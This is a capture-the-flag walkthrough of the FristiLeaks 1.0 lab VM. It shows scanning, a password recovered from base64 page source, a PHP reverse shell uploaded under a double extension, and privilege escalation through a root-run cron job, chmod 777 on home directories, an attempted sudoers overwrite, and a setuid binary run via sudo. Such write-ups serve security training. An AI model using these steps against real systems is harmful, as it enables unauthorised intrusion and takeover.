

After executing netdiscover in order to find out the IP obtained by the virtual machine, we execute an nmap scanner:


```
root@pow3rline:~/Documentos/fristileaks VM# cat scanner.fristileaks.nmap
# Nmap 7.70 scan initiated Thu Sep 19 20:02:31 2019 as: nmap -sT -sC -oA scanner.fristileaks 10.0.2.7
Nmap scan report for 10.0.2.7
Host is up (0.60s latency).
Not shown: 999 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
|_ http-methods:
|_   Potentially risky methods: TRACE
|_   http-robots.txt: 3 disallowed entries
|_   /cola /sisi /beer
|_   http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

# Nmap done at Thu Sep 19 20:03:46 2019 -- 1 IP address (1 host up) scanned in 74.56 seconds
```


Welcome to #fristileaks

Ha Ha

The robots.txt file includes the 3 directories showed by the nmap script but none of them contain anything interesting. We obtained the same in all 3:



Just by pure guessing, I tried to access <http://10.0.2.7/fristi/> and:



If we take a look into de source code, we find interesting stuff:

[illegible]

And, at the end:


```

1699 Z42J401Pqn8R+zxsTwdqfVP4j9njYng7U+qfxH7PGxPB2p9U/iP2eNieDtT6p/Efs8bE8Han1T+I
1700 /Z42J401Pqn8R+zxsTwdqfVP4j9njYng7U+qfxH7PGxPB2p9U/iP2eNieDtT6p/Efs8bE8Han1T+
1701 I/Z42J401Pqn8R+zxsTwdqfVP4j9njYng7VUJ7p2rf8AWPmw/VfrUsb01ejy6Hfu+kL/2Q==" /></center><br/>
1702 <!--
1703 iVBORw0KGgoAAAANSUHEUgAAW0AAABLCAIAAA04UHqAAAAAXNSR0IArs4c6QAAAAARnQU1BAACx
1704 jwv8YQUAAAJcEhZcwAADsMAAA7DAdvqGQAAARSSURBVHhe7dLRdtsgEIVhr8sL8nqymmmi0kl
1705 S0iAQGY0Nb01//dW5QyTgdxz2t5+AcCHAHgRY4A8CJHAHiRiWc8yBEAXuQIAC9yBIAxOQLAixw
1706 B4EWOAPAiRwB4kSMAVMgRAf7kCAAvcgSAFzkCwIscAeBFjgDwIkCaeJEjALzIEQBe5AgAL5kc+f
1707 m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHP1+zJ053b9+1gd/0TL2Wu1l5+RmpJq5tMTkElpaHlVXJJ
1708 Zv7/d5i6qse0t9rWa6UMsR1+WROrL72DbdWKqZS0tMPqG18LRhzyWjWkTFDPXfmu1C7e81bxnN0vb
1709 DpYzOMN1Wqp1LS0w+oaXwomXXtFhL8e6W+lrNdDFujoQNJ9XbKtHMPsUmn9BSeGf51bUcr6W+VjNd
1710 jJQjcelwepPCj1LNXFpi8gktXfnVtYSd6UpINDPFCdlyKB3dyLPsTVzZYnJR7R0WHEiFGv5NRDU
1711 12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpIND0FeI5ENygbTfj+qDbc+QpG9c5
1712 uvFQzV5aM15LlyMrfnrPU12qmC+Ucqdg6E1JNsX16/i/6BtVvEQzF5YM2JLhyMLz4sNNtp/pSkgl
1713 04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUq0hEkso2k5pGy00aLq
1714 i1n+skSqGf0SIVsKCSZv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
1715 t0H0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
1716 30oZ0jk3y+pQ9fnEG4LN0co9UnY5dqxrhk0JZKezwdNwqfnv6A0UN9sWb6UMyR5zT2B+lwDh++Fl
1717 3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuIS8HK
1718 u19iMrFG9gqa/VTB8qORLuStqF7fYU7tgsn/4+zfhV6aiiIscz1GrGvGTi1sLLhiPbnh6K6NLDU12q
1719 mD+0cK08nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWu1sFylm+hDLkcIAtuHEUzu/l9l867X34
1720 rPtA6lmLi0ZrQX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/Vz0TCkqeBwlrrFhe
1721 EPdMj03SSys7XVF+qmT5UcmT9+Ss//fyy0LU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
1722 AHgRY4A8CJHAHiRiWc8yBEAXuQIAC9yBIAxOQLAixwB4EWOAPAiRwB4kSMAVMgRAf7kCAAvcgSAFzk
1723 CwIscAeBFjgDwIkCaeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtcyQAAAABJR
1724 U5ErkJggg==


```

The loooong base64 code is the Nelson's image encoded. In fact, if we decode that long text string, we obtain the image. The commented base64 in green at the end doesn't correspond with a suitable utf-8 text string.

If we try to convert this base64 code into an image:





Which seems to be a kind of password. In the first line the “by eezleepz” provides us a hint about the username. Hence, using this username and this password, we obtain access:




Login successful

[upload file](#)




It seems pretty obvious that we should go for a LFI, trying to upload a web shell. If we try directly with a PHP web shell, the application inform us that only images are allowed.


I tried putting this string: “GIF89a;” at the beginning of the web shell file, but it didn’t do the trick. It is uploaded correctly:



But when trying to execute it:



And the netcat (nc -nlvp 8082) in the Kali machine doesn’t receive anything. Then, I tried to rename the file from “reverse\_shell.gif” to “reverse\_shell.php.gif”. It is uploaded and... executed correctly!



Uploading, please wait  
The file has been uploaded to /uploads

And I got my shell:

```
root@pow3rline:~/Documents/fristileaks VM# nc -nvlp 8082
listening on [any] 8082 ...
ls
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.7] 39056
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
16:50:59 up 5:21, 0 users, load average: 0.00, 0.00, 0.00
USER      TTY      FROM          LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
```

```
sh-4.1$ ls
ls
admin
eezeepz
fristigod
sh-4.1$ ls admin
ls admin
ls: cannot open directory admin: Permission denied
sh-4.1$ ls -rlth eezeepz
ls -rlth eezeepz
total 2.6M
-rwxr-xr-x. 1 eezeepz eezeepz 47K Nov 17 2015 zic
-rwxr-xr-x. 1 eezeepz eezeepz 53K Nov 17 2015 chown
-rwxr-xr-x. 1 eezeepz eezeepz 48K Nov 17 2015 chmod
-rwxr-xr-x. 1 eezeepz eezeepz 52K Nov 17 2015 chgrp
-rwxr-xr-x. 1 eezeepz eezeepz 41K Nov 17 2015 cut
-rwxr-xr-x. 1 eezeepz eezeepz 127K Nov 17 2015 cpio
-rwxr-xr-x. 1 eezeepz eezeepz 14K Nov 17 2015 hostname
-rwxr-xr-x. 1 eezeepz eezeepz 12K Nov 17 2015 kill
-rwxr-xr-x. 1 eezeepz eezeepz 7.8K Nov 17 2015 kbd_mode
-rwxr-xr-x. 1 eezeepz eezeepz 168K Nov 17 2015 nano
-rwxr-xr-x. 1 eezeepz eezeepz 121K Nov 17 2015 netstat
-rwxr-xr-x. 1 eezeepz eezeepz 14K Nov 17 2015 nisdomainname
-rwxr-xr-x. 1 eezeepz eezeepz 25K Nov 17 2015 nice
-rwxr-xr-x. 1 eezeepz eezeepz 47K Nov 17 2015 touch
-rwxr-xr-x. 1 eezeepz eezeepz 12K Nov 17 2015 taskset
```

```

sh-4.1$ cat eezeepz/notes.txt
cat eezeepz/notes.txt
Yo EZ,

I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.

- Jerry

```

Firstly, I needed to upgrade my shell to ease the process everything:

Background your reverse shell with **CTRL+Z**.

- Print the size of your host terminal: `stty -a | cut -d';' -f2-3 | head -n1`.
- Transfer local hotkeys to the remote shell: `stty raw -echo`.
- Bring the reverse shell back to foreground: `fg`. You may need to hit **ENTER** after this command.
- Inside the remote shell, adjust the size: `stty rows <ROWS> cols <COLS>`

Now I have a fully interactive terminal.

Following the indications in the notes.txt, I put this inside the "runthis" file:

```

bash-4.1$ cat /tmp/runthis
/usr/bin/echo "" > /tmp/cronresult
/home/admin/ps
/home/admin/chmod 777 /home/admin
/home/admin/chmod 777 /home/fristigod

```

And the result is:

```

bash-4.1$ cat /tmp/cronresult
executing: /home/admin/ps
  PID TTY          TIME CMD
 1850 ?            00:00:00 python
 1853 ?            00:00:00 sendmail
 1854 ?            00:00:00 ps
executing: /home/admin/chmod 777 /home/admin
executing: /home/admin/chmod 777 /home/fristigod

```

And it worked partially:



```

bash-4.1$ ls -lrth /home/
total 20K
drwx---r-x. 5 eezeepz eezeepz 12K Nov 18 2015 eezeepz
drwx----- 2 fristigod fristigod 4.0K Nov 19 2015 fristigod
drwxrwxrwx. 2 admin admin 4.0K Nov 19 2015 admin

```

Lets see what is inside “admin” at least:

```

bash-4.1$ cd /home/admin/
bash-4.1$ ls -rlth
total 632K
-rwxr-xr-x 1 admin admin 24K Nov 18 2015 echo
-rwxr-xr-x 1 admin admin 84K Nov 18 2015 ps
-rwxr-xr-x 1 admin admin 45K Nov 18 2015 cat
-rwxr-xr-x 1 admin admin 160K Nov 18 2015 grep
-rwxr-xr-x 1 admin admin 160K Nov 18 2015 egrep
-rwxr-xr-x 1 admin admin 89K Nov 18 2015 df
-rwxr-xr-x 1 admin admin 48K Nov 18 2015 chmod
-rw-r--r-- 1 admin admin 737 Nov 18 2015 cronjob.py
-rw-r--r-- 1 admin admin 258 Nov 18 2015 cryptpass.py
-rw-r--r-- 1 admin admin 21 Nov 18 2015 cryptedpass.txt
-rw-r--r-- 1 fristigod fristigod 25 Nov 19 2015 whoisyourgodnow.txt
bash-4.1$ cat cryptedpass.txt
mVGZ303omkJLmy2pcuTq
bash-4.1$ cat whoisyourgodnow.txt
=RFn0AKnlMHMPizpyuTI0ITG

```

We can take a look at how the cryptedpass.txt is created:

```

bash-4.1$ cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64, codecs, sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

```

So, what I extract from this code is that to reverse the “encryption” I should reverse the password, decode it using rot13 and, afterwards, decode it again using base64.

The result is: **thisisalsopw123**

Performing a “ps -ef” we observe that there is a MySQL instance running but no login was possible with this password.

After some tries with no exit, we perform the same operation of decryption (reverse+rot13+base64 decode) to the string found inside “whoisyourgoodnow.txt” and the result is: **LetThereBeFristi!**

So, I’ll try to change to user fristigod with this password...

```

bash-4.1$ su - fristigod
Password:
-bash-4.1$ id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)
-bash-4.1$

```

Taking a look to what I have now:

```

-bash-4.1$ pwd
/var/fristigod
-bash-4.1$ ls -rlth
total 0
-bash-4.1$ ls -larth
total 16K
drwxr-xr-x. 19 root      root      4.0K Nov 19 2015 ..
drwxrwxr-x.  2 fristigod fristigod 4.0K Nov 25 2015 .secret_admin_stuff
drwxr-x---.  3 fristigod fristigod 4.0K Nov 25 2015 .
-rw-----.  1 fristigod fristigod 864 Nov 25 2015 .bash_history
-bash-4.1$ cd .secret_admin_stuff/
-bash-4.1$ ls -rlth
total 8.0K
-rwsr-sr-x 1 root root 7.4K Nov 25 2015 doCom
-bash-4.1$ ./doCom
Nice try, but wrong user ;)
-bash-4.1$

```

Using sudo:

```

-bash-4.1$ sudo ./doCom
Sorry, user fristigod is not allowed to execute './doCom' as root on localhost.localdomain.
-bash-4.1$

```

So I tried to include the user fristigod in the sudoers file. I inserted this line into the runthis script in /tmp:

```
/home/admin/echo "fristigod ALL=(ALL) ALL" > /etc/sudoers
```

With no exit.

After some tries and fails, I checked the “.bash\_history” file with this result:



```
-bash-4.1$ ls -rlth
total 0
-bash-4.1$ ls -lrtah
total 16K
drwxr-xr-x. 19 root      root      4.0K Nov 19 2015 .
drwxrwxr-x.  2 fristigod fristigod 4.0K Nov 25 2015 .secret_admin_stuff
drwxr-x---  3 fristigod fristigod 4.0K Nov 25 2015 .
-rw-----  1 fristigod fristigod 864 Nov 25 2015 .bash_history
-bash-4.1$ cat .bash_history
ls
pwd
ls -lah
cd .secret_admin_stuff/
ls
./doCom
./doCom test
sudo ls
exit
cd .secret_admin_stuff/
ls
./doCom
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
groups
ls -lah
usermod -G fristigod fristi
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e
Fexit
exit
exit
exit
-bash-4.1$
```

So, that is the way to execute the doCom script.

Finally:

```
-bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
Usage: ./program_name terminal_command ...-bash-4.1$
-bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
bin boot dev etc home lib lib64 lost+found media mnt opt proc root sbin selinux srv sys tmp usr var
-bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /root/
fristileaks_secrets.txt
-bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom cat /root/fristileaks_secrets.txt
Congratulations on beating Fristileaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)

Flag: Y0u_kn0w_y0u_l0ve_fr1st1

-bash-4.1$
```